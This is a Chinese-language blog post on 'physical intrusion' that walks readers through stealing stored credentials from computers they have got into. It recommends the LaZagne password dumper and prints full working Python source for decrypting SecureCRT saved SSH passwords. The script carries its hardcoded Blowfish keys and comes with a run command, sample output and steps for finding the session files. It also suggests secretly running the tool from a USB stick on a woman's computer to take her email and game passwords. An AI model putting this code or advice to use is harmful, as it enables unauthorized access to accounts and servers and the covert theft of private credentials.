在黑客攻击中,其实有一种攻击方式经常被大家忽略——物理入侵。

常见的物理入侵主要是入侵企业办公大楼,或者在企业办公楼附近连接其网络环境(如wifi),再或者在企业附近架设冲突wifi进行网络污染,最终潜入企业办公网络或者员工电脑里。

那么,当我们潜入一个人的电脑里时,我们肯定可以干很多事。但是这里要注意,由于这个网络环境可能随时中断,我们的入侵行为一定要快,尽可能的搜集有用数据。除非是非常隐秘的情况下,我们可以肆无忌惮的copy磁盘所有内容,一般情况下我们只能用最短时间窃取最有用数据。

本片文章,将介绍两款神器,在物理入侵时,可以窃取对方的账号和密码。

1. The LaZagne Project

绝对非常牛逼好用的工具,获取本地机器存储的密码,包括但不限于所有常见浏览器、svn/git、数据库、游戏账号、wifi等等。

github地址:https://github.com/AlessandroZ/LaZagne
2k+的点赞量。

Lazagne项目是用于检索存储在本地计算机上的大量密码的开源应用程序。不同软件使用不同的加密技术进行密码存储,比如firefox/chrome等浏览器存储我们的登陆账户信息,LaZagne工具可以获取尽可能多的软件所存储的密码。

使用方法:
支持linux、mac、windows不同操作系统,因为不同操作系统密码存储形式不一样,所以作者构建了不同的项目。
1. python源码,直接执行即可。
2. windows的话,可以下载exe执行。

源码写的也很好,对于进阶python的,可以读一下作者写的源码。

另外,像这种工具还有其他使用场景,比如趁着心仪的妹子不注意,插上u盘,跑一下程序。浏览器上存储的所有密码,就都得到了。什么邮箱密码啊、游戏密码啊,不要恶意偷窥就好。

2. SecureCRT-decryptpass

顾名思义,就是获取SecureCRT上面存储的用户名和密码,依旧是python编写的。

对于互联网企业的网络开发人员,大家每天都会和服务器打交道,和linux服务器通讯使用的最多的应该就是SecureCRT了。为了每次都能更快速地连接目标服务器,SecureCRT记录了服务器、用户名、端口、密码,或者私钥等信息。

使用前需要安装python扩展:

root@localhost [~] easy_install pycrypto

程序代码:

#!/usr/bin/env python

from Crypto.Cipher import Blowfish
import argparse
import re

def decrypt(password) :
    c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4])
    p = ''
    while padded[:2] != '\x00\x00' :
        p += padded[:2]
        padded = padded[2:]
    return p.decode('UTF-16')

REGEX_HOSTNAME = re.compile(ur'S:"Hostname"=([^\r\n]*)')
REGEX_PASWORD = re.compile(ur'S:"Password"=u([0-9a-f]+)')
REGEX_PORT = re.compile(ur'D:"\[SSH2\] Port"=([0-9a-f]{8})')
REGEX_USERNAME = re.compile(ur'S:"Username"=([^\r\n]*)')

def hostname(x) :
    m = REGEX_HOSTNAME.search(x)
    if m :
        return m.group(1)
    return '???'

def password(x) :
    m = REGEX_PASWORD.search(x)
    if m :
        return decrypt(m.group(1))
    return '???'

def port(x) :
    m = REGEX_PORT.search(x)
    if m :
        return '-p %d '%(int(m.group(1), 16))
    return ''

def username(x) :
    m = REGEX_USERNAME.search(x)
    if m :
        return m.group(1) + '@'
    return ''

parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files')
parser.add_argument('files', type=argparse.FileType('r'), nargs='+',
    help='session file(s)')

args = parser.parse_args()

for f in args.files :
    c = f.read().replace('\x00', '')
    print f.name
    print "ssh %s%s%s # %s"%(port(c), username(c), hostname(c), password(c))

运行很简单,将SecureCRT记录服务器相关数据的文件,以参数的形式传给程序即可。

类似如下:

C:\>python SecureCRT-decryptpass.py C:\Users\user1\AppData\Roaming\VanDyke\Config\Sessions\192.168.0.1.ini
C:\Users\user1\AppData\Roaming\VanDyke\Config\Sessions\192.168.0.1.ini
ssh -p 22 [email]user@192.168.0.1[/email] # 123456

如果不知道SecureCRT的session存储在哪里,可以这么查找:
第一步,点击桌面上的SecureCRT图标
第二步,打开后,进入SecureCRT主界面
第三步,点击菜单栏上的选项
第四步,继续点击下拉中的全局选项
第五步,进入全局选项的界面
第六步,注意图示的配置文件夹,即是Sessions存放文件夹位置
第七步,文件夹中输入Sessions存放文件夹位置,则看到Sessions存放的文件